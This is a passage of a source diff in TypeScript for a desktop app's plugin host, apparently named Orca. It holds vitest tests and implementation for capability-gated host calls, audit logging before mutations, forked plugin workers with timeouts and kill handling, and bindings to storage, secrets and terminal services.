const outcome = await executePluginHostCall({
pluginId: 'orca-samples.demo',
method: 'storage.set',
params: { key: 'answer', value: 42 },
viaPanel: false,
grantedCapabilities: ['storage'],
services: createServices(storageSet),
audit: { record: vi.fn().mockRejectedValue(new Error('disk full')) }
})
expect(outcome).toMatchObject({ ok: false, code: 'action_failed' })
expect(storageSet).not.toHaveBeenCalled()
})
it('records an intent before the mutation and its outcome afterward', async () => {
const order: string[] = []
const storageSet = vi.fn(() => {
order.push('mutation')
return { ok: true as const }
})
const record = vi.fn(async (entry: { outcome: string }) => {
order.push(`audit:${entry.outcome}`)
})
const outcome = await executePluginHostCall({
pluginId: 'orca-samples.demo',
method: 'storage.set',
params: { key: 'answer', value: 42 },
viaPanel: false,
grantedCapabilities: ['storage'],
services: createServices(storageSet),
audit: { record }
})
expect(outcome).toEqual({ ok: true, value: { ok: true } })
expect(order).toEqual(['audit:attempt', 'mutation', 'audit:ok'])
})
it('refuses mutations when no audit writer is configured', async () => {
const storageSet = vi.fn().mockReturnValue({ ok: true })
const outcome = await executePluginHostCall({
pluginId: 'orca-samples.demo',
method: 'storage.set',
params: { key: 'answer', value: 42 },
viaPanel: false,
grantedCapabilities: ['storage'],
services: createServices(storageSet)
})
expect(outcome).toMatchObject({ ok: false, code: 'unavailable' })
expect(storageSet).not.toHaveBeenCalled()
})
})
function createTerminalHarness(terminalHandles: string[]): {
delegate: PluginRuntimeDelegate
services: PluginHostServices
} {
const delegate: PluginRuntimeDelegate = {
resolveActiveWorktreeContext: vi.fn().mockResolvedValue({
worktreeId: 'worktree-1',
path: '/Users/private/repo',
branch: 'main',
displayName: 'Repo'
}),
listTerminals: vi.fn().mockResolvedValue({
terminals: terminalHandles.map((handle) => ({ handle, title: null }))
}),
sendTerminal: vi.fn().mockResolvedValue({ accepted: true }),
dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true })
}
return {
delegate,
services: bindPluginHostServices({
delegate,
pluginsDataDir: join(tmpdir(), 'plugin-host-methods-test'),
subscribeEvents: vi.fn().mockReturnValue([])
})
}
}
async function sendTerminalText(
services: PluginHostServices,
terminalId: string
): ReturnType<typeof executePluginHostCall> {
return executePluginHostCall({
pluginId: 'orca-samples.demo',
method: 'terminal.sendText',
params: { terminalId, text: 'echo hi', enter: true },
viaPanel: true,
grantedCapabilities: ['terminal:send'],
services,
audit: { record: vi.fn().mockResolvedValue(undefined) }
})
}
describe('terminal.sendText explicit worktree routing', () => {
it('performs one bounded list and zero sends when the terminal is outside the worktree', async () => {
const { delegate, services } = createTerminalHarness(['terminal:local:other'])
const outcome = await sendTerminalText(services, 'terminal:ssh:requested')
expect(outcome).toMatchObject({ ok: false, code: 'action_failed' })
expect(delegate.resolveActiveWorktreeContext).toHaveBeenCalledTimes(1)
expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
expect(delegate.listTerminals).toHaveBeenCalledWith(
'id:worktree-1',
PLUGIN_WORKSPACE_TERMINAL_LIMIT
)
expect(delegate.sendTerminal).not.toHaveBeenCalled()
})
it.each(['terminal:local:one', 'terminal:ssh:opaque-provider-id'])(
'performs one bounded list and one send for provider-agnostic id %s',
async (terminalId) => {
const { delegate, services } = createTerminalHarness([terminalId])
const outcome = await sendTerminalText(services, terminalId)
expect(outcome).toEqual({ ok: true, value: { accepted: true } })
expect(delegate.resolveActiveWorktreeContext).toHaveBeenCalledTimes(1)
expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
expect(delegate.listTerminals).toHaveBeenCalledWith(
'id:worktree-1',
PLUGIN_WORKSPACE_TERMINAL_LIMIT
)
expect(delegate.sendTerminal).toHaveBeenCalledTimes(1)
expect(delegate.sendTerminal).toHaveBeenCalledWith(terminalId, {
text: 'echo hi',
enter: true
})
expect(vi.mocked(delegate.listTerminals).mock.invocationCallOrder[0]!).toBeLessThan(
vi.mocked(delegate.sendTerminal).mock.invocationCallOrder[0]!
)
}
)
it('bounds workspace.readContext and omits the provider path', async () => {
const handles = Array.from(
{ length: PLUGIN_WORKSPACE_TERMINAL_LIMIT + 10 },
(_, index) => `terminal:local:${index}`
)
const { delegate, services } = createTerminalHarness(handles)
const outcome = await executePluginHostCall({
pluginId: 'orca-samples.demo',
method: 'workspace.readContext',
params: {},
viaPanel: true,
grantedCapabilities: ['workspace:read'],
services
})
expect(outcome).toMatchObject({
ok: true,
value: { branch: 'main', displayName: 'Repo' }
})
expect(outcome).not.toHaveProperty('value.path')
expect(outcome).not.toHaveProperty('value.worktreeId')
expect(outcome.ok && (outcome.value as { terminals: unknown[] }).terminals).toHaveLength(
PLUGIN_WORKSPACE_TERMINAL_LIMIT
)
expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
})
})

View File

@ -0,0 +1,144 @@
import { getBoundPluginHostMethod, type PluginHostServices } from './plugin-host-method-bindings'
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
import { gatePluginHostCall as decidePluginHostCall } from '../../shared/plugins/plugin-capability-gate'
import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
import type { PluginAuditLog } from './plugin-audit-log'
/**
* Host API v0 handler bindings the one place plugin-originated calls
* (panel bridge, worker hostCall, serve RPC relay) execute. Handlers
* delegate to runtime services through the structural `PluginHostServices`
* interface, so this module stays electron-free and the relay conformance
* suite can run the identical chokepoint against a fake service set.
*/
export type { PluginHostServices } from './plugin-host-method-bindings'
export type ExecutePluginHostCallInput = {
/** Qualified plugin key, bound host-side from authenticated identity. */
pluginId: string
method: string
params: unknown
/** True when the call arrives over the sandboxed panel bridge. */
viaPanel: boolean
/** Consented capability kinds; null = unknown/disabled/consent-stale. */
grantedCapabilities: readonly PluginCapabilityKind[] | null
services: PluginHostServices | null
audit?: Pick<PluginAuditLog, 'record'>
}
export async function executePluginHostCall(
input: ExecutePluginHostCallInput
): Promise<PluginPanelActionOutcome> {
if (!isQualifiedPluginKey(input.pluginId)) {
return { ok: false, code: 'invalid_request', error: 'invalid qualified plugin key' }
}
const gate = decidePluginHostCall(
{ grantedCapabilities: input.grantedCapabilities, viaPanel: input.viaPanel },
input.method
)
if (!gate.granted) {
return { ok: false, code: gate.code, error: gate.error }
}
const bound = getBoundPluginHostMethod(input.method)
if (!bound) {
return { ok: false, code: 'unknown_method', error: `unknown host method: ${input.method}` }
}
const parsedParams = bound.spec.params.safeParse(input.params)
if (!parsedParams.success) {
const issue = parsedParams.error.issues[0]
const path = issue?.path.join('.') || '(root)'
return {
ok: false,
code: 'invalid_params',
error: `${path}: ${issue?.message ?? 'invalid params'}`
}
}
if (!input.services) {
return { ok: false, code: 'unavailable', error: 'runtime is not available' }
}
const auditMutation = async (outcome: 'attempt' | 'ok' | 'error'): Promise<void> => {
if (bound.spec.mutation && input.audit) {
await input.audit.record({
ts: Date.now(),
actor: `plugin:${input.pluginId}`,
method: input.method,
summary: summarizeParams(input.method, parsedParams.data),
outcome
})
}
}
if (bound.spec.mutation) {
if (!input.audit) {
return {
ok: false,
code: 'unavailable',
error: 'mutation audit log is not available'
}
}
try {
// The intent is appended before the handler. If this write fails, the
// mutation is never attempted.
await auditMutation('attempt')
} catch {
return {
ok: false,
code: 'action_failed',
error: 'mutation audit log could not be written'
}
}
}
try {
const value = await bound.handler(parsedParams.data, {
pluginId: input.pluginId,
services: input.services
})
const validated = bound.spec.result.safeParse(value)
if (!validated.success) {
await auditMutation('error').catch(() => undefined)
// A result-schema mismatch is a host bug; fail the call rather than
// leaking an unvalidated shape into plugin-facing transports.
return {
ok: false,
code: 'action_failed',
error: `internal: malformed ${input.method} result`
}
}
await auditMutation('ok').catch(() => undefined)
return { ok: true, value: validated.data }
} catch (error) {
await auditMutation('error').catch(() => undefined)
return {
ok: false,
code: 'action_failed',
error: error instanceof Error ? error.message : String(error)
}
}
}
/** Bounded, content-free summaries for the audit log. */
function summarizeParams(method: string, params: unknown): string {
const record = (typeof params === 'object' && params !== null ? params : {}) as Record<
string,
unknown
>
switch (method) {
case 'terminal.sendText': {
const text = typeof record.text === 'string' ? record.text : ''
return `terminal=${String(record.terminalId)} bytes=${Buffer.byteLength(text, 'utf8')} enter=${record.enter === true}`
}
case 'notifications.show': {
const title = typeof record.title === 'string' ? record.title : ''
return `titleChars=${title.length}`
}
case 'storage.set':
case 'storage.delete':
case 'secrets.set':
case 'secrets.delete':
case 'settings.set':
return `key=${String(record.key)}`
default:
return ''
}
}

View File

@ -0,0 +1,135 @@
import { EventEmitter } from 'node:events'
import { PassThrough } from 'node:stream'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
const processMocks = vi.hoisted(() => ({ fork: vi.fn() }))
vi.mock('node:child_process', () => ({ fork: processMocks.fork }))
import { startPluginWorker } from './plugin-host-process'
class FakeChild extends EventEmitter {
connected = true
stdout = new PassThrough()
stderr = new PassThrough()
send = vi.fn()
kill = vi.fn()
}
function start(child: FakeChild, options: { eventTimeoutMs?: number } = {}) {
processMocks.fork.mockReturnValue(child)
return startPluginWorker({
pluginId: 'orca-samples.demo',
rootDir: '/plugin',
mainEntry: 'worker.js',
entryPath: '/host.js',
grantedCapabilities: [],
executeHostCall: async () => ({ ok: true, value: null }),
log: vi.fn(),
...options
})
}
beforeEach(() => {
processMocks.fork.mockReset()
})
afterEach(() => {
vi.useRealTimers()
})
describe('startPluginWorker', () => {
it('does not inherit Orca execArgv', async () => {
const child = new FakeChild()
const pending = start(child)
child.emit('message', { type: 'ready', commands: [] })
await pending
expect(processMocks.fork).toHaveBeenCalledWith(
'/host.js',
[],
expect.objectContaining({ execArgv: [] })
)
})
it('replays an exit that happened before handle registration', async () => {
const child = new FakeChild()
const pending = start(child)
child.emit('message', { type: 'ready', commands: ['run'] })
const handle = await pending
child.emit('exit', 23)
const onExit = vi.fn()
handle.onExit(onExit)
expect(onExit).toHaveBeenCalledOnce()
expect(onExit).toHaveBeenCalledWith(23)
})
it('kills a live worker that disconnects its IPC channel', async () => {
const child = new FakeChild()
const pending = start(child)
child.emit('message', { type: 'ready', commands: ['run'] })
const handle = await pending
const command = handle.invokeCommand('run')
child.connected = false
child.emit('disconnect')
await expect(command).rejects.toThrow('disconnected')
expect(child.kill).toHaveBeenCalledWith('SIGKILL')
})
it('counts delivered events as in flight until their acknowledgement', async () => {
const child = new FakeChild()
const pending = start(child)
child.emit('message', { type: 'ready', commands: [] })
const handle = await pending
handle.deliverEvent('worktree.created', {
worktreeId: 'worktree-1',
path: '/repo',
branch: 'feature'
})
expect(handle.inFlightCount()).toBe(1)
child.emit('message', { type: 'eventAck', eventId: 0 })
expect(handle.inFlightCount()).toBe(0)
})
it('kills a worker whose event handler never acknowledges completion', async () => {
vi.useFakeTimers()
const child = new FakeChild()
const pending = start(child, { eventTimeoutMs: 25 })
child.emit('message', { type: 'ready', commands: [] })
const handle = await pending
handle.deliverEvent('worktree.created', {
worktreeId: 'worktree-1',
path: '/repo',
branch: 'feature'
})
await vi.advanceTimersByTimeAsync(25)
expect(handle.inFlightCount()).toBe(0)
expect(child.kill).toHaveBeenCalledWith('SIGKILL')
})
it('kills a worker that exceeds the pending event cap', async () => {
const child = new FakeChild()
const pending = start(child)
child.emit('message', { type: 'ready', commands: [] })
const handle = await pending
for (let index = 0; index < 65; index += 1) {
handle.deliverEvent('agent.status.changed', {
worktreeId: null,
paneKey: `pane-${index}`,
state: 'working',
receivedAt: Date.now()
})
}
expect(handle.inFlightCount()).toBe(64)
expect(child.kill).toHaveBeenCalledWith('SIGKILL')
})
})

View File

@ -0,0 +1,332 @@
import { fork, type ChildProcess } from 'node:child_process'
import { existsSync } from 'node:fs'
import { join } from 'node:path'
import {
PLUGIN_WORKER_INVOKE_TIMEOUT_MS,
PLUGIN_WORKER_READY_TIMEOUT_MS,
pluginWorkerChildMessageSchema,
type PluginWorkerParentMessage
} from '../../shared/plugins/plugin-host-protocol'
import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
import { buildPluginWorkerEnv } from './plugin-worker-env'
import { pipePluginWorkerOutput } from './plugin-worker-output-buffer'
// Grace between the shutdown message and SIGKILL: long enough for plugin
// cleanup, short enough that disable/quit never feels stuck.
const PLUGIN_WORKER_SHUTDOWN_GRACE_MS = 2_000
const PLUGIN_WORKER_EVENT_TIMEOUT_MS = 5 * 60_000
const PLUGIN_WORKER_MAX_PENDING_EVENTS = 64
export type PluginWorkerLogSink = (level: 'info' | 'warn' | 'error', line: string) => void
/** Executes a worker-originated host API call; the outcome is relayed back
* over the fork channel as a hostResult message. */
export type PluginWorkerHostCallExecutor = (
method: string,
params: unknown
) => Promise<PluginPanelActionOutcome>
export type PluginWorkerHandle = {
/** Command ids the worker registered on activate (⊆ manifest commands). */
commands: readonly string[]
invokeCommand(commandId: string, args?: unknown): Promise<unknown>
deliverEvent(event: PluginEventName, payload: unknown): void
/** Milliseconds timestamp of the last completed work (for idle reap). */
lastActivityAt(): number
inFlightCount(): number
dispose(): Promise<void>
kill(): void
onExit(callback: (code: number | null) => void): void
}
export type StartPluginWorkerOptions = {
pluginId: string
rootDir: string
mainEntry: string
/** Absolute path to the compiled plugin-host-entry.js, resolved by caller. */
entryPath: string
grantedCapabilities: readonly PluginCapabilityKind[]
executeHostCall: PluginWorkerHostCallExecutor
log: PluginWorkerLogSink
readyTimeoutMs?: number
invokeTimeoutMs?: number
eventTimeoutMs?: number
signal?: AbortSignal
}
/**
* Resolves the compiled child entry from the app path. Mirrors
* getDaemonEntryPath(): packaged apps must fork the asar-unpacked copy
* because fork() cannot execute scripts from inside app.asar.
*/
export function resolvePluginHostEntryPath(appPath: string, isPackaged: boolean): string {
const basePath = isPackaged ? appPath.replace('app.asar', 'app.asar.unpacked') : appPath
const directEntryPath = join(basePath, 'plugin-host-entry.js')
if (existsSync(directEntryPath)) {
return directEntryPath
}
return join(basePath, 'out', 'main', 'plugin-host-entry.js')
}
type PendingCall = {
resolve: (value: unknown) => void
reject: (error: Error) => void
timer: ReturnType<typeof setTimeout>
}
export async function startPluginWorker(
options: StartPluginWorkerOptions
): Promise<PluginWorkerHandle> {
const { pluginId, rootDir, mainEntry, entryPath, log } = options
const readyTimeoutMs = options.readyTimeoutMs ?? PLUGIN_WORKER_READY_TIMEOUT_MS
const invokeTimeoutMs = options.invokeTimeoutMs ?? PLUGIN_WORKER_INVOKE_TIMEOUT_MS
const eventTimeoutMs = options.eventTimeoutMs ?? PLUGIN_WORKER_EVENT_TIMEOUT_MS
const tag = `[plugin:${pluginId}]`
const child: ChildProcess = fork(entryPath, [], {
// Why: ELECTRON_RUN_AS_NODE makes the forked Electron binary behave as
// plain Node. The env is a scrubbed allowlist — never ...process.env,
// which can carry shell-exported secrets into third-party code.
env: buildPluginWorkerEnv(),
// Why: inspector/loader flags from Orca's own launch must never execute
// inside third-party plugin workers.
execArgv: [],
// Why: the protocol permits structured-clone values. Node's default JSON
// fork serialization rejects BigInt, cycles, maps, and typed arrays.
serialization: 'advanced',
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
})
pipePluginWorkerOutput(child.stdout, 'info', log)
pipePluginWorkerOutput(child.stderr, 'error', log)
const pendingCommands = new Map<number, PendingCall>()
const pendingEvents = new Map<number, ReturnType<typeof setTimeout>>()
const exitCallbacks: ((code: number | null) => void)[] = []
let nextCallId = 0
let nextEventId = 0
let exited = false
let exitCode: number | null = null
let disposed = false
let lastActivityAt = Date.now()
function sendToChild(message: PluginWorkerParentMessage): void {
if (child.connected) {
child.send(message)
}
}
function rejectAllPending(reason: string): void {
for (const [callId, entry] of pendingCommands) {
clearTimeout(entry.timer)
pendingCommands.delete(callId)
entry.reject(new Error(reason))
}
for (const timer of pendingEvents.values()) {
clearTimeout(timer)
}
pendingEvents.clear()
}
child.on('exit', (code) => {
exited = true
exitCode = code
rejectAllPending(`${tag} worker exited before responding`)
for (const callback of exitCallbacks) {
callback(code)
}
})
child.on('disconnect', () => {
// Why: a worker can drop fork IPC while its event loop stays alive. Kill
// it so the ensuing exit enters the normal supervision/backoff path.
rejectAllPending(`${tag} worker disconnected before responding`)
if (!exited) {
child.kill('SIGKILL')
}
})
const commands = await new Promise<string[]>((resolve, reject) => {
let settled = false
const timer = setTimeout(() => {
fail(new Error(`${tag} worker did not become ready within ${readyTimeoutMs}ms`))
child.kill('SIGKILL')
}, readyTimeoutMs)
function fail(error: Error): void {
if (!settled) {
settled = true
clearTimeout(timer)
options.signal?.removeEventListener('abort', onAbort)
reject(error)
}
}
const onAbort = (): void => {
fail(new Error(`${tag} worker startup was cancelled`))
child.kill('SIGKILL')
}
options.signal?.addEventListener('abort', onAbort, { once: true })
child.on('error', (error) => {
const failure = new Error(`${tag} worker process error: ${error.message}`)
fail(failure)
child.kill('SIGKILL')
// Why: fail() no-ops once ready; a post-ready channel fault must still
// reject in-flight calls instead of letting each hit its own timeout.
rejectAllPending(failure.message)
})
child.on('exit', (code) => fail(new Error(`${tag} worker exited before ready (code ${code})`)))
child.on('message', (raw) => {
const parsed = pluginWorkerChildMessageSchema.safeParse(raw)
if (!parsed.success) {
log('warn', 'ignoring malformed worker message')
return
}
const message = parsed.data
switch (message.type) {
case 'ready': {
if (!settled) {
settled = true
clearTimeout(timer)
options.signal?.removeEventListener('abort', onAbort)
resolve(message.commands)
}
return
}
case 'commandResult': {
const entry = pendingCommands.get(message.callId)
if (!entry) {
return
}
clearTimeout(entry.timer)
pendingCommands.delete(message.callId)
lastActivityAt = Date.now()
if (message.ok) {
entry.resolve(message.value)
} else {
entry.reject(new Error(message.error ?? 'plugin command failed'))
}
return
}
case 'eventAck': {
const timer = pendingEvents.get(message.eventId)
if (timer) {
clearTimeout(timer)
pendingEvents.delete(message.eventId)
}
lastActivityAt = Date.now()
return
}
case 'hostCall': {
lastActivityAt = Date.now()
// Host API calls from the worker: gate + execute in main, then
// relay the outcome. Never throws — errors become outcomes.
void options.executeHostCall(message.method, message.params).then((outcome) => {
lastActivityAt = Date.now()
sendToChild(
outcome.ok
? { type: 'hostResult', callId: message.callId, ok: true, value: outcome.value }
: {
type: 'hostResult',
callId: message.callId,
ok: false,
errorCode: outcome.code,
error: outcome.error
}
)
})
return
}
case 'log': {
log(message.level, message.message)
return
}
case 'fatal': {
fail(new Error(`${tag} worker crashed: ${message.error}`))
rejectAllPending(`${tag} worker crashed: ${message.error}`)
child.kill('SIGKILL')
}
}
})
sendToChild({
type: 'init',
pluginId,
pluginRoot: rootDir,
mainEntry,
grantedCapabilities: [...options.grantedCapabilities]
})
if (options.signal?.aborted) {
onAbort()
}
})
return {
commands,
invokeCommand(commandId, args) {
if (exited || disposed) {
return Promise.reject(new Error(`${tag} worker is not running`))
}
const callId = nextCallId++
return new Promise<unknown>((resolve, reject) => {
const timer = setTimeout(() => {
pendingCommands.delete(callId)
reject(new Error(`${tag} ${commandId} timed out after ${invokeTimeoutMs}ms`))
}, invokeTimeoutMs)
pendingCommands.set(callId, { resolve, reject, timer })
sendToChild({ type: 'invokeCommand', callId, commandId, args })
})
},
deliverEvent(event, payload) {
if (exited || disposed) {
return
}
if (pendingEvents.size >= PLUGIN_WORKER_MAX_PENDING_EVENTS) {
log('error', `${tag} exceeded the pending event limit`)
child.kill('SIGKILL')
return
}
lastActivityAt = Date.now()
const eventId = nextEventId++
const timer = setTimeout(() => {
pendingEvents.delete(eventId)
log('error', `${tag} ${event} did not finish within ${eventTimeoutMs}ms`)
child.kill('SIGKILL')
}, eventTimeoutMs)
pendingEvents.set(eventId, timer)
sendToChild({ type: 'deliverEvent', eventId, event, payload })
},
lastActivityAt: () => lastActivityAt,
inFlightCount: () => pendingCommands.size + pendingEvents.size,
async dispose() {
if (disposed) {
return
}
disposed = true
if (exited) {
return
}
sendToChild({ type: 'shutdown' })
await new Promise<void>((resolve) => {
const killTimer = setTimeout(() => {
child.kill('SIGKILL')
}, PLUGIN_WORKER_SHUTDOWN_GRACE_MS)
child.once('exit', () => {
clearTimeout(killTimer)
resolve()
})
if (exited) {
clearTimeout(killTimer)
resolve()
}
})
},
kill() {
child.kill('SIGKILL')
},
onExit(callback) {
if (exited) {
callback(exitCode)
} else {
exitCallbacks.push(callback)
}
}
}
}

View File

@ -0,0 +1,76 @@
import { describe, expect, it, vi } from 'vitest'
import { join } from 'node:path'
import { pathToFileURL } from 'node:url'
import { createPluginWorkerRuntime } from './plugin-host-runtime'
describe('plugin worker shutdown', () => {
it('normalizes either manifest separator before importing the worker', async () => {
const importModule = vi.fn(async () => ({ default: vi.fn() }))
const runtime = createPluginWorkerRuntime({ send: vi.fn(), importModule })
await runtime.handleMessage({
type: 'init',
pluginId: 'orca-samples.demo',
pluginRoot: join('plugin-root'),
mainEntry: 'nested\\worker.js',
grantedCapabilities: []
})
expect(importModule).toHaveBeenCalledWith(
pathToFileURL(join('plugin-root', 'nested', 'worker.js')).href
)
})
it('awaits an optional deactivate export before exiting', async () => {
let finishDeactivate!: () => void
const deactivate = vi.fn(
() =>
new Promise<void>((resolve) => {
finishDeactivate = resolve
})
)
const send = vi.fn()
const exit = vi.fn()
const runtime = createPluginWorkerRuntime({
send,
exit,
importModule: async () => ({ default: vi.fn(), deactivate })
})
await runtime.handleMessage({
type: 'init',
pluginId: 'orca-samples.demo',
pluginRoot: '/plugin',
mainEntry: 'worker.js',
grantedCapabilities: []
})
const shutdown = runtime.handleMessage({ type: 'shutdown' })
await Promise.resolve()
expect(deactivate).toHaveBeenCalledOnce()
expect(exit).not.toHaveBeenCalled()
finishDeactivate()
await shutdown
expect(exit).toHaveBeenCalledWith(0)
})
it('exits immediately when the plugin has no deactivate export', async () => {
const exit = vi.fn()
const runtime = createPluginWorkerRuntime({
send: vi.fn(),
exit,
importModule: async () => ({ default: vi.fn() })
})
await runtime.handleMessage({
type: 'init',
pluginId: 'orca-samples.demo',
pluginRoot: '/plugin',
mainEntry: 'worker.js',
grantedCapabilities: []
})
await runtime.handleMessage({ type: 'shutdown' })
expect(exit).toHaveBeenCalledWith(0)
})
})

View File

@ -0,0 +1,210 @@
import { join } from 'node:path'
import { pathToFileURL } from 'node:url'
import {
pluginWorkerParentMessageSchema,
type PluginWorkerChildMessage
} from '../../shared/plugins/plugin-host-protocol'
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
/**
* Message-loop core of the out-of-process plugin worker. Electron-free and
* side-effect-free (send/import/exit are injected) so it unit-tests without
* forking a real child process; `plugin-host-entry.ts` wires it to the fork
* IPC channel.
*/
export type PluginHostCallError = Error & { code?: string }
/** API surface handed to a plugin's `activate(orca)` export. Everything is
* EXPERIMENTAL until pluginApi v1 freezes. */
export type PluginWorkerOrcaApi = {
/** Register the handler for a command declared in the manifest. */
commands: {
register(commandId: string, handler: (args: unknown) => unknown | Promise<unknown>): void
}
/** Handle an event the manifest subscribed to (`contributes.events`). */
events: {
on(event: PluginEventName, handler: (payload: unknown) => void | Promise<void>): void
}
/** Call a host API method (capability-gated host-side). */
host: {
call(method: string, params?: unknown): Promise<unknown>
}
/** Consented capability kinds (informational — the host re-gates). */
grantedCapabilities: readonly string[]
log(message: string): void
}
export type PluginWorkerRuntimeOptions = {
send: (message: PluginWorkerChildMessage) => void
importModule?: (specifier: string) => Promise<unknown>
exit?: (code: number) => void
}
export type PluginWorkerRuntime = {
handleMessage(raw: unknown): Promise<void>
}
function toErrorMessage(error: unknown): string {
return error instanceof Error ? (error.stack ?? error.message) : String(error)
}
export function createPluginWorkerRuntime(
options: PluginWorkerRuntimeOptions
): PluginWorkerRuntime {
const send = options.send
const importModule = options.importModule ?? ((specifier: string) => import(specifier))
const exit = options.exit ?? ((code: number) => process.exit(code))
const commandHandlers = new Map<string, (args: unknown) => unknown | Promise<unknown>>()
const eventHandlers = new Map<string, ((payload: unknown) => void | Promise<void>)[]>()
const pendingHostCalls = new Map<
number,
{ resolve: (value: unknown) => void; reject: (error: PluginHostCallError) => void }
>()
let nextHostCallId = 0
let initialized = false
let shuttingDown = false
let deactivate: (() => unknown | Promise<unknown>) | null = null
async function handleInit(input: {
pluginRoot: string
mainEntry: string
grantedCapabilities: string[]
}): Promise<void> {
if (initialized) {
send({ type: 'log', level: 'warn', message: 'ignoring duplicate init message' })
return
}
initialized = true
// Why: file URL import keeps ESM plugin entries working on Windows paths.
// Why: manifest paths accept either portable separator; split explicitly
// so a Windows-authored plugin also imports on macOS/Linux and vice versa.
const entryUrl = pathToFileURL(join(input.pluginRoot, ...input.mainEntry.split(/[\\/]/))).href
const module = (await importModule(entryUrl)) as { default?: unknown; deactivate?: unknown }
const activate = module?.default
if (typeof activate !== 'function') {
throw new Error(`plugin entry ${input.mainEntry} has no default-exported activate function`)
}
if (module.deactivate !== undefined && typeof module.deactivate !== 'function') {
throw new Error(`plugin entry ${input.mainEntry} has a non-function deactivate export`)
}
deactivate = (module.deactivate as (() => unknown | Promise<unknown>) | undefined) ?? null
const orca: PluginWorkerOrcaApi = {
commands: {
register(commandId, handler) {
commandHandlers.set(commandId, handler)
}
},
events: {
on(event, handler) {
const handlers = eventHandlers.get(event) ?? []
handlers.push(handler)
eventHandlers.set(event, handlers)
}
},
host: {
call(method, params) {
const callId = nextHostCallId++
return new Promise<unknown>((resolve, reject) => {
pendingHostCalls.set(callId, { resolve, reject })
send({ type: 'hostCall', callId, method, params })
})
}
},
grantedCapabilities: input.grantedCapabilities,
log(message) {
send({ type: 'log', level: 'info', message: String(message).slice(0, 8192) })
}
}
await activate(orca)
send({ type: 'ready', commands: [...commandHandlers.keys()] })
}
return {
async handleMessage(raw) {
const parsed = pluginWorkerParentMessageSchema.safeParse(raw)
if (!parsed.success) {
send({ type: 'log', level: 'warn', message: 'ignoring malformed parent message' })
return
}
const message = parsed.data
try {
switch (message.type) {
case 'init': {
await handleInit(message)
return
}
case 'invokeCommand': {
const handler = commandHandlers.get(message.commandId)
if (!handler) {
send({
type: 'commandResult',
callId: message.callId,
ok: false,
error: `no handler registered for command ${message.commandId}`
})
return
}
try {
const value = await handler(message.args)
send({ type: 'commandResult', callId: message.callId, ok: true, value })
} catch (error) {
send({
type: 'commandResult',
callId: message.callId,
ok: false,
error: toErrorMessage(error)
})
}
return
}
case 'deliverEvent': {
const handlers = eventHandlers.get(message.event) ?? []
for (const handler of handlers) {
try {
await handler(message.payload)
} catch (error) {
send({ type: 'log', level: 'error', message: toErrorMessage(error) })
}
}
send({ type: 'eventAck', eventId: message.eventId })
return
}
case 'hostResult': {
const pending = pendingHostCalls.get(message.callId)
if (!pending) {
return
}
pendingHostCalls.delete(message.callId)
if (message.ok) {
pending.resolve(message.value)
} else {
const error: PluginHostCallError = new Error(message.error ?? 'host call failed')
error.code = message.errorCode
pending.reject(error)
}
return
}
case 'shutdown': {
if (shuttingDown) {
return
}
shuttingDown = true
try {
await deactivate?.()
} catch (error) {
send({ type: 'log', level: 'error', message: toErrorMessage(error).slice(0, 8192) })
}
exit(0)
}
}
} catch (error) {
// Why: an init/activation failure leaves the worker useless; report
// and die so the parent surfaces the error instead of hanging on
// the ready timeout.
send({ type: 'fatal', error: toErrorMessage(error) })
exit(1)
}
}
}
}

View File

@ -0,0 +1,84 @@
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
import { PLUGIN_WORKSPACE_TERMINAL_LIMIT } from '../../shared/plugins/plugin-host-api'
import type { PluginHostServices } from './plugin-host-methods'
import { PluginSecretsStore } from './plugin-secrets-store'
import { PluginKvStore } from './plugin-storage-store'
/** Structural subset of OrcaRuntimeService exposed to plugin facade bindings. */
export type PluginRuntimeDelegate = {
resolveActiveWorktreeContext(): Promise<{
worktreeId: string
path: string
branch: string
displayName: string
} | null>
listTerminals(
worktreeSelector?: string,
limit?: number
): Promise<{ terminals: { handle: string; title: string | null }[] }>
sendTerminal(
handle: string,
action: { text?: string; enter?: boolean }
): Promise<{ accepted: boolean }>
dispatchPluginNotification(input: {
pluginId: string
title: string
body?: string
}): Promise<{ delivered: boolean }>
}
export function bindPluginHostServices(input: {
delegate: PluginRuntimeDelegate
pluginsDataDir: string
subscribeEvents: (pluginKey: string, events: PluginEventName[]) => PluginEventName[]
}): PluginHostServices {
const { delegate, pluginsDataDir, subscribeEvents } = input
return {
resolveActiveWorktreeContext: async () => {
const context = await delegate.resolveActiveWorktreeContext()
if (!context) {
return null
}
// Why: retain the internal id only for host-side terminal membership;
// the public handler projects it out because it embeds provider paths.
return {
worktreeId: context.worktreeId,
branch: context.branch,
displayName: context.displayName
}
},
listWorktreeTerminals: async (worktreeId) => {
const result = await delegate.listTerminals(
`id:${worktreeId}`,
PLUGIN_WORKSPACE_TERMINAL_LIMIT
)
return result.terminals
.slice(0, PLUGIN_WORKSPACE_TERMINAL_LIMIT)
.map((terminal) => ({ id: terminal.handle }))
},
sendTerminalText: async (terminalId, action) => {
const result = await delegate.sendTerminal(terminalId, action)
return { accepted: result.accepted }
},
dispatchPluginNotification: (notification) => delegate.dispatchPluginNotification(notification),
storage: {
get: (key, itemKey) => new PluginKvStore(pluginsDataDir, key, 'storage.json').get(itemKey),
set: (key, itemKey, value) =>
new PluginKvStore(pluginsDataDir, key, 'storage.json').set(itemKey, value),
delete: (key, itemKey) =>
new PluginKvStore(pluginsDataDir, key, 'storage.json').delete(itemKey),
keys: (key) => new PluginKvStore(pluginsDataDir, key, 'storage.json').keys()
},
secrets: {
get: (key, itemKey) => new PluginSecretsStore(pluginsDataDir, key).get(itemKey),
set: (key, itemKey, value) => new PluginSecretsStore(pluginsDataDir, key).set(itemKey, value),
delete: (key, itemKey) => new PluginSecretsStore(pluginsDataDir, key).delete(itemKey)
},
settings: {
getAll: (key) => new PluginKvStore(pluginsDataDir, key, 'settings.json').getAll(),
